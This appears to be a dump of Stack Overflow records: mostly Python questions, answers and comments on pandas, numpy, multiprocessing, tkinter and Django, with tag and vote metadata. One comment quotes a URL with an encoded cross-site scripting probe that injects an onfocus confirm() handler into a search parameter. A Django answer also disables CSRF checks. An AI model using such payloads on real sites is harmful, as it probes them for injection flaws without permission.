http://stackoverflow.com/comment/84299178
comment on: http://stackoverflow.com/a/48650576
score: 0
type: AnswerComment
type: Comment
has text: That said, it's certainly very hard to read. This would benefit from some variables to store intermediate results.

http://stackoverflow.com/comment/131735155
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48739431
has text: anybody knows the same trick but in seaborn?
type: AnswerComment

http://stackoverflow.com/a/48758014
type: Answer
has body: Use psycopg2.sql.Identifier and compose the SQL statement like so: from from psycopg2 import sql cursor.execute(sql.SQL("drop database if exists {}") .format(sql.Identifier(db_name))) The whole linked documentation page is worth a read.
answers question: http://stackoverflow.com/q/48757852
score: 0
has comment: http://stackoverflow.com/comment/84517103

data-science
tags question: http://stackoverflow.com/q/48685243
tags question: http://stackoverflow.com/q/48753920
tags question: http://stackoverflow.com/q/48737645
tags question: http://stackoverflow.com/q/48688515
tags question: http://stackoverflow.com/q/48737643
tags question: http://stackoverflow.com/q/48655930
type: Tag
tags question: http://stackoverflow.com/q/48778160
tags question: http://stackoverflow.com/q/48691162
tags question: http://stackoverflow.com/q/48711046
tags question: http://stackoverflow.com/q/48661602
tags question: http://stackoverflow.com/q/48801831
tags question: http://stackoverflow.com/q/48713367
tags question: http://stackoverflow.com/q/48748377
tag name: data-science

http://stackoverflow.com/comment/84547896
comment on: http://stackoverflow.com/q/48773153
type: QuestionComment
type: Comment
has text: Yes, though would using sets be the correct way? But yes the main thing that confuses me is how I would replace the words, by asking the user what they should be.
score: 0

http://stackoverflow.com/comment/84499910
type: Comment
type: QuestionComment
score: 2
has text: Management commands are there to be called from the console or a script. So, why are you running them in a web request?
comment on: http://stackoverflow.com/q/48749456

http://stackoverflow.com/q/48681536
downvote count: 0
has title: Highlighting multiple cells in a row based on other values in the row in a Pandas DataFrame
has comment: http://stackoverflow.com/comment/84360539
tagged with: excel
type: Question
tagged with: dataframe
tagged with: slice
upvote count: 2
answer count: 1
favorite count: 0
has body: I am trying to highlight cells in my pandas dataframe based on two conditions: If A cell - B cell > 10 highlight B cell in green else if ((B cell - A cell)/B cell * 100) > 20 highlight B cell in red If A cell - C cell > 10 highlight C cell in green else if ((C cell - A cell)/C cell * 100) > 20 highlight C cellin red i A B C D 0 4 2 3 Jim 1 3 3 2 Bob 2 3 2 4 Joe I tried some variations of apply() and applymap() with subset but I wasn't able to do what i wanted.
has answer: http://stackoverflow.com/a/48681666
tagged with: pandas
accepted answer: http://stackoverflow.com/a/48681666
tagged with: python
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84360742

http://stackoverflow.com/comment/84498598
type: Comment
has text: `print np.arange(1,len(df_rets)+1)/2.0` (in Python < 3 integer division gives you truncated integers)
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48749195

http://stackoverflow.com/a/48716542
has comment: http://stackoverflow.com/comment/84471238
answers question: http://stackoverflow.com/q/48715732
has comment: http://stackoverflow.com/comment/84471741
has comment: http://stackoverflow.com/comment/84471690
downvote count: 0
has comment: http://stackoverflow.com/comment/84470646
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84440958
has body: I assume you want to get the input from the entry widget and use it in your selenium script. This is infact very simple to do. Below i have created a mini ui which will do this CODE: from tkinter import * def storeVar(): AutoConnect = E1.get() Email = E2.get() Password = E3.get() Url = E4.get() global variables variables = [AutoConnect, Email, Password, Url] root = Tk() L1 = Label(root, text="Auto-Connect",).grid(row=0,column=0) L2 = Label(root, text="EMAIL",).grid(row=1,column=0) L3 = Label(root, text="PASSWORD",).grid(row=2,column=0) L4 = Label(root, text="URL",).grid(row=3,column=0) E1 = Entry(root, bd =5) E1.grid(row=0,column=1) E2 = Entry(root, bd =5) E2.grid(row=1,column=1) E3 = Entry(root, bd =5) E3.grid(row=2,column=1) E4 = Entry(root, bd =5) E4.grid(row=3,column=1) submit = Button(root, text= "Submit", command = storeVar) submit.grid(row=4) root.mainloop() Here is a screen shot: UI screenshot Now to access these variables in your selenium script you have to import the list containing the variables so in the case of my example: say i saved the code above in a script called ui.py in the selenium script i would write: from ui import variables print(variables) variables being the list containing the varibales to be used feel free to ask me anything you dont understand.
has comment: http://stackoverflow.com/comment/84473057
upvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/84470688
has comment: http://stackoverflow.com/comment/84433055
score: 2
has comment: http://stackoverflow.com/comment/84432355
has comment: http://stackoverflow.com/comment/84433096
accepted answer of: http://stackoverflow.com/q/48715732

http://stackoverflow.com/q/48657734
has answer: http://stackoverflow.com/a/48657839
favorite count: 0
has title: Is there a way to save the variable value in python In case of power failure on the raspberry pi?
tagged with: python
has body: Is there a way to save the variable value in python In case of power failure so when i run the program again it does not start from initial value but the value which was saved last.In the below code i am counting the number of times a button is pressed so can i save the value of age and start counting from the saved value insted of starting from 15. import RPi.GPIO as GPIO import time age=15 //initialize for debugging GPIO.setmode(GPIO.BCM) GPIO.setup(25, GPIO.IN,GPIO.PUD_DOWN) def led(channel): //funtion for increnment age global age age=(age+1) print(age) PIN 7 AND 3.3V normally 0 when connected 1 GPIO.add_event_detect(25, GPIO.RISING, callback=led, bouncetime=1000 ) print(age) try: while(True): time.sleep(1) except KeyboardInterrupt: GPIO.cleanup() print (age) print ("Exiting")
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48658087
score: 1
upvote count: 1
type: Question
tagged with: raspberry-pi
has comment: http://stackoverflow.com/comment/84314325
linked to: http://stackoverflow.com/q/5055042
accepted answer: http://stackoverflow.com/a/48658087
answer count: 2
has comment: http://stackoverflow.com/comment/84313133
has comment: http://stackoverflow.com/comment/84313095
has comment: http://stackoverflow.com/comment/84314393
possible better answer: http://stackoverflow.com/a/48657839
downvote count: 0

http://stackoverflow.com/q/48747732
tagged with: parallel-processing
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48747954
accepted answer: http://stackoverflow.com/a/48747954
tagged with: multiprocessing
type: Question
answer count: 1
score: 0
has body: In the python docs for the multiprocessing module the very first example is about the Pool command. from multiprocessing import Pool def f(x): return x*x if __name__ == '__main__': with Pool(5) as p: print(p.map(f, [1, 2, 3])) This script is used to demonstrate how the Pool method can be used to run the same function in parallel for a series of possible arguments. They do not, however explain or provide the arguments to the Pool method, which in this case equals 5. What is that argument? Why is it 5 in this case? Does it have something to do with the number of allowed processes at a given time? Thanks
tagged with: python
has title: Argument to pool function in multiprocessing module in python

http://stackoverflow.com/q/48752391
tagged with: firebase
has title: Implementing onDisconnect on pyrebase
answer count: 0
downvote count: 0
score: 1
has body: This is second stage question of problem. I originaly asked here , I forked pyrebase to implement onDisconnect feature, can you tell me how can I implement that on this module? I know, it should be very easy change on this file but I stucked coz I am newbie at python. Should I put a new method in to Database class? or new class needed? import requests from requests import Session from requests.exceptions import HTTPError try: from urllib.parse import urlencode, quote except: from urllib import urlencode, quote import json import math from random import uniform import time from collections import OrderedDict from sseclient import SSEClient import threading import socket from oauth2client.service_account import ServiceAccountCredentials from gcloud import storage from requests.packages.urllib3.contrib.appengine import is_appengine_sandbox from requests_toolbelt.adapters import appengine import python_jwt as jwt from Crypto.PublicKey import RSA import datetime def initialize_app(config): return Firebase(config) class Firebase: """ Firebase Interface """ def __init__(self, config): self.api_key = config["apiKey"] self.auth_domain = config["authDomain"] self.database_url = config["databaseURL"] self.storage_bucket = config["storageBucket"] self.credentials = None self.requests = requests.Session() if config.get("serviceAccount"): scopes = [ 'https://www.googleapis.com/auth/firebase.database', 'https://www.googleapis.com/auth/userinfo.email', "https://www.googleapis.com/auth/cloud-platform" ] service_account_type = type(config["serviceAccount"]) if service_account_type is str: self.credentials = ServiceAccountCredentials.from_json_keyfile_name(config["serviceAccount"], scopes) if service_account_type is dict: self.credentials = ServiceAccountCredentials.from_json_keyfile_dict(config["serviceAccount"], scopes) if is_appengine_sandbox(): # Fix error in standard GAE environment # is releated to https://github.com/kennethreitz/requests/issues/3187 # ProtocolError('Connection …
type: Question
linked to: http://stackoverflow.com/q/48303327
upvote count: 1
favorite count: 0
type: UnansweredQuestion
tagged with: firebase-realtime-database
tagged with: python

http://stackoverflow.com/comment/84607828
has text: post full traceback of the error
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48802611

http://stackoverflow.com/comment/84339688
comment on: http://stackoverflow.com/q/48669695
type: QuestionComment
type: Comment
has text: @Marat sorry, today i lot of work time. I add Traceback
score: 0

http://stackoverflow.com/comment/84489799
has text: @Micka, Initial target is to rotate the image. The image in expected output, is the expected final outcome, I haven't been able to wrap my mind around it on how will i do that, yet.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/48679718

http://stackoverflow.com/a/48670032
answers question: http://stackoverflow.com/q/48669824
type: Answer
has body: If you're not trying to import completely arbitrary modules and just need to pick from a list, you can just use an if-else block (or another similar construct). This is often done to work around imports that are different in Python 2.7 vs 3.x, for example. Here's a simple way to pick between two imports: def myfun(module_name): if module_name == 'A': import module_a as module else: import module_b as module module.foo()
has comment: http://stackoverflow.com/comment/84337784
score: 0

http://stackoverflow.com/q/48753084
has comment: http://stackoverflow.com/comment/84507166
has comment: http://stackoverflow.com/comment/84506827
downvote count: 1
has comment: http://stackoverflow.com/comment/84506979
type: AnsweredQuestion
score: -1
has comment: http://stackoverflow.com/comment/84507574
type: Question
possible better answer: http://stackoverflow.com/a/48753231
has comment: http://stackoverflow.com/comment/84511608
has comment: http://stackoverflow.com/comment/84506806
answer count: 2
accepted answer: http://stackoverflow.com/a/48753156
has answer: http://stackoverflow.com/a/48753231
upvote count: 0
has comment: http://stackoverflow.com/comment/84507003
has comment: http://stackoverflow.com/comment/84507094
has body: "She's so nice!" -> ["she","'","s","so","nice","!"] I want to split sentence like this! so I wrote the code, but It includes white space! How to make code only using regular expression? words = re.findall('\W+|\w+') -> ["she", "'","s", " ", "so", " ", "nice", "!"] words = [word for word in words if not word.isspace()]
has title: How to split sentence to words with regular expression?
tagged with: python
tagged with: regex
has comment: http://stackoverflow.com/comment/84507907
favorite count: 0
has comment: http://stackoverflow.com/comment/84507812
has comment: http://stackoverflow.com/comment/84506998
has answer: http://stackoverflow.com/a/48753156

http://stackoverflow.com/a/48800461
upvote count: 4
has body: issues requests.get passes arguments in params not in data. for detail click here use request.POST.get('userId') to get data from request, not request.userId ... @csrf_exempt def my_django_view(request): if request.method == 'POST': r = requests.post('http://127.0.0.1:8000/api/makeapp/', data=request.POST) else: r = requests.get('http://127.0.0.1:8000/api/makeapp/', params=request.GET) if r.status_code == 201 and request.method == 'POST': data = r.json() print(data) # Have to post the user profile information into Patient table in another project. user_profile_attrs = { "patientId": request.POST.get('userId'), "first_name": request.POST.get('first_name'), "last_name": request.POST.get('last_name'), "username": request.POST.get('username'), "email": request.POST.get('email'), } # save into patient table of another project save_profile = requests.post('http://127.0.0.1:8000/api/patient/', data=request.POST) return HttpResponse(r.text) elif r.status_code == 200: # GET response return HttpResponse(r.json()) else: return HttpResponse(r.text)
has comment: http://stackoverflow.com/comment/84759231
score: 4
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84603632
answers question: http://stackoverflow.com/q/48800065
type: Answer
accepted answer of: http://stackoverflow.com/q/48800065

http://stackoverflow.com/a/48681354
answers question: http://stackoverflow.com/q/48671421
accepted answer of: http://stackoverflow.com/q/48671421
score: 2
type: AcceptedAnswer
downvote count: 0
has body: It could be that snakemake thinks your target rule is convert_ab1_to_fastq and not all. By default, snakemake takes the first rule as target rule. Declare all first, and see whether this solves your problem.
type: Answer
has comment: http://stackoverflow.com/comment/84417453
upvote count: 2
has comment: http://stackoverflow.com/comment/84374156

http://stackoverflow.com/comment/87427861
type: Comment
has text: Thank you so very much for your help. Do you know how to fill in the initial details? below I have completed the part I think I know consumer_key = ? consumer_secret= ? user_token= client_ID (from developer's site) user_secret= client_secret (from developers's site) redirect_uri= http://localhost:8080/code
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/50197637

http://stackoverflow.com/comment/84509730
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48753385
has text: Thanks. I was already going to create a new column sorted by absolute values. Looks good!

http://stackoverflow.com/q/48740895
downvote count: 1
has body: Say, I have a set of unique, discrete parameter values, stored in a variable 'para'. para=[1,2,3,4,5,6,7,8,9,10] Each element in this list has 'K' number of neighbors (given: each neighbor ϵ para). EDIT: This 'K' is obviously not the same for each element. And to clarify the actual size of my problem: I need a neighborhood of close to 50-100 neighbors on average, given that my para list is around 1000 elements large. NOTE: A neighbor of an element, is another possible 'element value' to which it can jump, by a single mutation. neighbors_of_1 = [2,4,5,9] #contains all possible neighbors of 1 (i.e para[0]) Question: How can I define each of the other element's neighbors randomly from 'para', but, keeping in mind the previously assigned neighbors/relations? eg: neighbors_of_5=[1,3,7,10] #contains all possible neighbors of 5 (i.e para[4]) NOTE: '1' has been assigned as a neighbor of '5', keeping the values of 'neighbors_of_1' in mind. They are 'mutual' neighbors. I know the inefficient way of doing this would be, to keep looping through the previously assigned lists and check if the current state is a neighbor of another state, and if True, store the value of that state as one of the new neighbors. Is there a cleaner/more pythonic way of doing this? (By maybe using the concept of linked-lists or any other method? Or are lists redundant?)
has comment: http://stackoverflow.com/comment/84481313
has comment: http://stackoverflow.com/comment/84481482
has answer: http://stackoverflow.com/a/48742879
accepted answer: http://stackoverflow.com/a/48742879
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84484695
tagged with: list
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84484889
type: Question
has comment: http://stackoverflow.com/comment/84486017
possible better answer: http://stackoverflow.com/a/48743135
has answer: http://stackoverflow.com/a/48743135
has title: Creating lists of mutual neighbor elements
has comment: http://stackoverflow.com/comment/84484246
upvote count: 2
answer count: 2
has comment: http://stackoverflow.com/comment/84485006

http://stackoverflow.com/comment/84453787
type: Comment
comment on: http://stackoverflow.com/a/48727319
score: 0
type: AnswerComment
has text: Ah, thanks for clarifying! It seems the devs are aware of this bug though: https://github.com/numpy/numpy/issues/10343 and a possible fix: https://github.com/numpy/numpy/pull/10352. Therefore, for now, I'll just manually disable optimization and wait until v1.15 when it optimize will either work / be disabled by default again.

http://stackoverflow.com/comment/84362534
has text: OK, I had to go to https://apps.dev.microsoft.com/#/application/ and change Redirect URLs to http://localhost:9999/login/authorized . I'll accept your answer.
comment on: http://stackoverflow.com/a/48682590
type: AnswerComment
type: Comment
score: 2

http://stackoverflow.com/comment/84600969
has text: If we don’t add callback=self.parse in yield, scrapy will call the parse function by default.
comment on: http://stackoverflow.com/a/48799036
score: 1
type: AnswerComment
type: Comment

http://stackoverflow.com/q/48791650
tagged with: numpy
has comment: http://stackoverflow.com/comment/84585717
has title: addition of elements within an array in python
answer count: 2
score: -2
tagged with: arrays
has comment: http://stackoverflow.com/comment/84585424
has answer: http://stackoverflow.com/a/48792282
favorite count: 0
has answer: http://stackoverflow.com/a/48791846
has comment: http://stackoverflow.com/comment/84585369
accepted answer: http://stackoverflow.com/a/48792282
upvote count: 1
tagged with: python
possible better answer: http://stackoverflow.com/a/48791846
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84585425
has comment: http://stackoverflow.com/comment/84585538
has body: I have a numpy array full of numbers which I want to add to each other. For example, if the array is: my_list =np.array([2,3,4,5,6]). I want to add 3 to 2 (index 1 to 0) and the 4 to 3 (index 2 to 1) and so on. Any help or ideas for this would be great as I'm quite new to python and coding and am rather stuck.
downvote count: 3
type: Question

http://stackoverflow.com/comment/84409958
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48702801
has text: Have you changed the default port of PostgreSQL? Because it is 5432 instead of 15432.

http://stackoverflow.com/q/48701608
upvote count: 1
has answer: http://stackoverflow.com/a/48715402
has answer: http://stackoverflow.com/a/48702150
tagged with: multiprocessing
has body: With multiprocessing, it is possible to execute the same function on all workers at creation time of the pool with the initializer and initargs options in the Pool factory function. Is it possible to run something, with a guarantee, on all workers? I would like to do this periodically, but realize it is not a very popular use case and may not be possible without re-implementing Pool based on multiprocessing primitives...
has comment: http://stackoverflow.com/comment/84422783
type: UnansweredQuestion
downvote count: 0
score: 1
favorite count: 0
has title: python multiprocessing - rerun initializer, or run function on all workers?
type: Question
has comment: http://stackoverflow.com/comment/84401926
answer count: 2
tagged with: python

http://stackoverflow.com/comment/84292188
has text: What is not working?
comment on: http://stackoverflow.com/q/48647403
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/q/48726115
tagged with: python
has comment: http://stackoverflow.com/comment/84451271
has body: I have simulated a Monty Hall Game, and I would like to repeat the following code by what the user inputs. I am a very novice programmer, so bear with me. I just don't know if I am placing the for loop correctly. Below is my code that I want to tell it to run the rest of the code v amount of times via a for loop, which the user input before. v in this case is 2. I get a TypeError, however, that only makes it run once, this happens anytime v&gt;1: for t in range(1,v+1) print('Game',t) doors = [1,2,3] prizes = ['C','G1','G2'] while valid == True: random.shuffle(prizes) initial_doors = list(zip(doors,prizes)) doors = initial_doors[:] print('Doors are Set Up as:',doors) user = int(input('Select door 1, 2, or 3:\n')) user = user - 1 (a,b)=doors[0] (c,d)=doors[1] (e,f)=doors[2] if user == 0: selected_door = a print('You selected door', selected_door) elif user == 1: selected_door = c print('You selected door', selected_door) elif user == 2: selected_door = e print('You selected door', selected_door) user_door = doors.pop(user) valid = False monty_door = [i for i, j in doors if 'G' in j] # This is where the error occurs monty_door = str(monty_door) monty_door = monty_door[1] monty_door = int(monty_door) print('Monty selected door', monty_door) car_door = [i for i, j in initial_doors if 'C' in j] car_door = str(car_door) car_door = car_door[1] car_door = int(car_door) if car_door != selected_door: win = 'switch' print('Player should', win, 'to win.') elif car_door == selected_door: win = 'stay' print('Player should', win, 'to win') Output is below, where it should have another iteration underneath. You see v=2 after user is asked how many tests they want to run, and the error is printed at the end: How many tests should we run? Type Exit to exit: 2 Game 1 Doors are Set Up as: [(1, 'G1'), (2, 'C'), (3, 'G2')] Select door 1, 2, or 3: 2 You selected door 2 Monty selected door 1 Player should stay to win Game 2 # Error message below, line 58 is commented above Traceback (most r…
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84451421
type: Question
has title: For loop not running specified amount of times- TypeError: 'int' object is not iterable
tagged with: for-loop
answer count: 1
has comment: http://stackoverflow.com/comment/84451345
has comment: http://stackoverflow.com/comment/84451462
has answer: http://stackoverflow.com/a/48726255
accepted answer: http://stackoverflow.com/a/48726255
score: 0

http://stackoverflow.com/q/48707971
possible better answer: http://stackoverflow.com/a/48708120
tagged with: filter
has answer: http://stackoverflow.com/a/48709752
tagged with: python
has answer: http://stackoverflow.com/a/48708413
type: AnsweredQuestion
has body: Seems like an easy problem, and a couple Q's out there close to this ... but I just can't seem to find the answer. Say I have a numpy 2d array: &gt; arr = np.asarray(([1, 2, 1, 0, 3],[1,1,1,1,1],[2,2,2,2,2],[1,0,1,0,1])) &gt; arr array([[1, 2, 1, 0, 3], [1, 1, 1, 1, 0], [1, 0, 2, 2, 2], [1, 0, 1, 0, 1]]) And I want to use two criteria to get me that first and fourth row. The criteria being: The 3rd col's value needs to be 1. The 4th needs needs to be 0. When the filter is met -- it gets me the idx of rows that meet that criteria in response. So I should be getting something like this when it's done right... Response: [0,3] ... [more info about my question] I instinctively feel the syntax should be a one liner, something like this: colIdx = [2,3] vals = [1,0] np.argwhere(arr[:,colIdx]==vals)[:,0] #&lt;--- ie: but doesn't work Being able to accommodate two variables like colIdx and vals would really work for me -- because I'll have dynamically created lists for both the columns being checked (ie: 2,3) and the values (ie: 1,0) I'm looking for. I could have multiple columns being checked beyond just two as well. And the values aren't set either. Thus the need for a dynamic approach. The closest Q+A I've seen so far on stack overflow for this sort of Q, is here: Numpy: Filtering rows by multiple conditions? -- but can't seem to work out the syntax for my problem. ANSWERING MY OWN Q: colIdx = [2,3] vals = [1,0] np.argwhere(np.all(arr[:,colIdx] == vals,axis=1)==True)[:,0] Response: array([0, 3])
downvote count: 2
has comment: http://stackoverflow.com/comment/84418363
type: Question
accepted answer: http://stackoverflow.com/a/48709752
score: -2
linked to: http://stackoverflow.com/q/29501823
has title: filtering numpy 2d array by dynamic idx list and dynamic val list (answer given in Q)
has comment: http://stackoverflow.com/comment/84415281
tagged with: numpy
has answer: http://stackoverflow.com/a/48708120
answer count: 3
upvote count: 0
tagged with: arrays
favorite count: 0

http://stackoverflow.com/comment/84819473
type: Comment
comment on: http://stackoverflow.com/a/48902483
score: 0
type: AnswerComment
has text: Thank you Sandeep, does this mean I share data with bokeh server? Why do I need to connect with bokeh to interact with the graph?

http://stackoverflow.com/q/48744820
type: Question
has title: How to insert a row in DataFrame in pandas? (Python)
tagged with: dataframe
has answer: http://stackoverflow.com/a/48745154
score: 0
answer count: 2
tagged with: pandas
has body: Say I have the following dataframe: a=np.array([[10,20,30,40],[5,20,35,50],[0,5,10,15]]) b=pd.DataFrame(a, columns=["n1", "n2", "n3", "n4"]) I do the following calculation on it (difference between 1st and 2nd row): c=b.diff(1,0) c.loc[[1]] And then I want to insert this row of differences (given by c.loc[[1]]) into my dataframe b. How do I do that? When I try, I get an error ValueError: cannot set a row with mismatched columns"
tagged with: python
accepted answer: http://stackoverflow.com/a/48745154
has answer: http://stackoverflow.com/a/48744914
type: AnsweredQuestion
tagged with: row
possible better answer: http://stackoverflow.com/a/48744914

http://stackoverflow.com/a/48677055
has comment: http://stackoverflow.com/comment/84392547
has comment: http://stackoverflow.com/comment/84396506
answers question: http://stackoverflow.com/q/48676862
type: Answer
has comment: http://stackoverflow.com/comment/84396392
has comment: http://stackoverflow.com/comment/84371942
has comment: http://stackoverflow.com/comment/84396078
upvote count: 2
score: 2
has body: You are catching up the "\r" symbol. At printing, cursor is returned to the beginning of the string, so the next print and overwrites the first part. Stripping whitespaces (will also remove trailing "\r") should solve the problem: metadata[match[0].lower()] = match[1].strip()
has comment: http://stackoverflow.com/comment/84352733
downvote count: 0

http://stackoverflow.com/a/56234758
type: Answer
upvote count: 11
score: 11
has comment: http://stackoverflow.com/comment/134746408
has body: If you look at /usr/bin/add-apt-repository it says #!/usr/bin/python3 at the top. If you updated with a newer python (e.g. dist had 3.5 but you installed 3.7) your /usr/bin/python3 points to a python that does not have apt_pkg. You can temporarily edit /usr/bin/add-apt-repository to point to #!/usr/bin/python3.5 (insert your distro python version)
answers question: http://stackoverflow.com/q/48677553
downvote count: 0
has comment: http://stackoverflow.com/comment/134889227

http://stackoverflow.com/comment/84462686
type: Comment
has text: searched=Y&log=1&skey=all&hid_pr_text=&hid_link_url=&edit=&sword=scrub%22%20autofocus%20onfocus=confirm(/OPENBUGBOUNTY/)%3E&x=0&y=0 becomes:
comment on: http://stackoverflow.com/a/48730366
score: 0
type: AnswerComment

http://stackoverflow.com/a/48659549
score: 3
downvote count: 0
upvote count: 3
has body: There isn't any slicing mechanism in python/numpy which automatically wraps around lists/arrays (as circular containers) as you seem to be looking for, so really the only way to do this is using functions. What you're doing with roll is nice and compact, even if it isn't as idiomatic as you like. Below, I've outlined a couple of (slightly more) idiomatic/pythonic solutions, which do the same thing. Option 1 np.take based on hpaulj's comment: np.take(a, range(len(a) - 3, len(a) + 2), mode='wrap') array([7, 8, 9, 0, 1]) Option 2 isliceing a cycle object: from itertools import islice, cycle list(islice(cycle(a), len(a) - 3, len(a) + 2)) [7, 8, 9, 0, 1]
type: Answer
answers question: http://stackoverflow.com/q/48659161

http://stackoverflow.com/q/48789406
has answer: http://stackoverflow.com/a/48790015
type: UnansweredQuestion
type: Question
tagged with: scipy
tagged with: least-squares
answer count: 1
tagged with: optimization
score: 0
has title: scipy.optimize.least_squares - limit number of jacobian evaluations
tagged with: python
has body: I am trying to use scipy.optimize.least_squares(fun= my_fun, jac=my_jac, max_nfev= 1000) with two callable functions: my_fun and my_jac both fuctions: my_fun and my_jac, use an external software to evaluate their value, this task is much time consuming, therefore I prefer to control the number of evaluations for both the trf method uses the my_fun function for evaluating if trust region is adequate and the my_jac function for determine both the cost function and the jacobian matrix There is an input parameter max_nfev. does this parameter count only for the fun evaluations? does it consider also the jac evaluations? moreover, in matlab there are two parameters for the lsqnonlin function, MaxIterations and MaxFunctionEvaluations. does it exist in scipy.optimize.least_squares? Thanks Alon

http://stackoverflow.com/comment/84376462
type: Comment
comment on: http://stackoverflow.com/a/48687876
score: 0
type: AnswerComment
has text: Was thinking it may need to be an int or the query wouldn't work. But that doesn't make sense since this test using GET worked fine.

http://stackoverflow.com/q/48669409
has body: I was trying to modify the values in lists via slices and for-loops, and ran into some pretty interesting behavior. I would appreciate if someone could explain what's happening internally here. &gt;&gt;&gt; x = [1,2,3,4,5] &gt;&gt;&gt; x[:2] = [6,7] #slices can be modified &gt;&gt;&gt; x [6, 7, 3, 4, 5] &gt;&gt;&gt; x[:2][0] = 8 #indices of slices cannot be modified &gt;&gt;&gt; x [6, 7, 3, 4, 5] &gt;&gt;&gt; x[:2][:1] = [8] #slices of slices cannot be modified &gt;&gt;&gt; x [6, 7, 3, 4, 5] &gt;&gt;&gt; for z in x: #this version of a for-loop cannot modify lists ... z += 1 ... &gt;&gt;&gt; x [6, 7, 3, 4, 5] &gt;&gt;&gt; for i in range(len(x)): #this version of a for-loop can modify lists ... x[i] += 1 ... &gt;&gt;&gt; x [7, 8, 4, 5, 6] &gt;&gt;&gt; y = x[:2] #if I assign a slice to a var, it can be modified... &gt;&gt;&gt; y[0] = 1 &gt;&gt;&gt; y [1, 8] &gt;&gt;&gt; x #...but it has no impact on the original list [7, 8, 4, 5, 6]
score: 1
upvote count: 1
type: Question
answer count: 2
tagged with: for-loop
tagged with: slice
has title: Modifying Python lists via slices and for-loops?
has answer: http://stackoverflow.com/a/48670036
accepted answer: http://stackoverflow.com/a/48670505
downvote count: 0
has comment: http://stackoverflow.com/comment/84337589
has comment: http://stackoverflow.com/comment/84337468
favorite count: 0
has comment: http://stackoverflow.com/comment/84341109
tagged with: python-3.x
linked to: http://stackoverflow.com/q/10623302
has answer: http://stackoverflow.com/a/48670505
has comment: http://stackoverflow.com/comment/84337646
tagged with: python
possible better answer: http://stackoverflow.com/a/48670036
type: AnsweredQuestion
tagged with: list

http://stackoverflow.com/q/48752374
upvote count: 1
tagged with: python
has title: Do Python Implementation use Cache Oblivious Data Structures?
score: 1
type: Question
has body: I was reading an article on the benefits of cache oblivious data structures and found myself wondering if the Python implementations (CPython) use this approach? If not, is there a technical limitation preventing it?
downvote count: 0
answer count: 1
favorite count: 0
tagged with: python-internals
has answer: http://stackoverflow.com/a/48752767
type: UnansweredQuestion
tagged with: cpython

http://stackoverflow.com/a/48752779
answers question: http://stackoverflow.com/q/48752479
has body: You can use str.replace for pandas Series. df = pd.DataFrame({'names': ['name-Jack','name(Jack)']}) df # names # 0 name-Jack # 1 name(Jack) df['names'] = df['names'].str.replace('\W+','') df # names # 0 nameJack # 1 nameJack
score: 0
type: Answer

http://stackoverflow.com/q/48729220
upvote count: 12
has comment: http://stackoverflow.com/comment/84457346
has comment: http://stackoverflow.com/comment/94954230
tagged with: dictionary
has body: I'd like to achieve the following: foodict['foo.bar.baz'] = 'foo' { 'foo': { 'bar': { 'baz': 'foo' } } } } ...creating keys recursively. After scratching my head for a while, I've come up with this: class Config(dict): def __init__(self, *args, **kwargs): self.super = super(Config, self) self.update(*args, **kwargs) def __setitem__(self, keys, value): keys = keys.split('.') keys.reverse() config = Config() for i, k in enumerate(keys): if i == 0: config = Config(**{ k: value }) else: config = Config(**{ k: config }) self.super.update(config)
tagged with: recursion
accepted answer: http://stackoverflow.com/a/48729252
type: AnsweredQuestion
downvote count: 0
score: 12
type: Question
has answer: http://stackoverflow.com/a/48729252
has comment: http://stackoverflow.com/comment/84457340
has title: Set Python dict items recursively, when given a compound key 'foo.bar.baz'
answer count: 1
tagged with: python
favorite count: 0

http://stackoverflow.com/comment/84670758
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48646668
has text: I've forked it for different reasons but thanks for the suggestion.

http://stackoverflow.com/q/48725791
has comment: http://stackoverflow.com/comment/84450662
type: UnansweredQuestion
tagged with: python
duplicate of: http://stackoverflow.com/q/48445147
has comment: http://stackoverflow.com/comment/84450675
has comment: http://stackoverflow.com/comment/84450626
has comment: http://stackoverflow.com/comment/84450676
tagged with: python-imaging-library
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84450674
has comment: http://stackoverflow.com/comment/84450761
has comment: http://stackoverflow.com/comment/84450692
upvote count: 0
has comment: http://stackoverflow.com/comment/84450687
has comment: http://stackoverflow.com/comment/84450631
score: -1
has comment: http://stackoverflow.com/comment/84450615
has comment: http://stackoverflow.com/comment/84450713
has title: Not able to print out the results after the for-loop
answer count: 1
tagged with: python-2.x
has body: I have the following code in Python: for root, dirs, files in os.walk(path): for file in files: image = Image.open(root + '/' + file).convert('L') label = label_img(file) X.append(image) y.append(label) files.append(file) print X print y print files I however don't have any results returned, and the console where I run the program freezes. Any ideas what I'm doing wrong? I'm running the program on 10 small images, so the output should be relatively fast. If I run some print statements in the loop for instance, the results just get in an instant.
favorite count: 0
has answer: http://stackoverflow.com/a/48725850
has comment: http://stackoverflow.com/comment/84450719

http://stackoverflow.com/a/48730246
score: 0
answers question: http://stackoverflow.com/q/48730199
has body: line = in_file.readline() Reads only one line in the file as a string (First line since this is first call) line = in_file.readlines() Reads all lines in the file as a list of strings line = in_file.read() Reads all the file as a single string. I think what you want is in_file.read().
type: Answer
has comment: http://stackoverflow.com/comment/84459667
has comment: http://stackoverflow.com/comment/84459818

http://stackoverflow.com/q/48669651
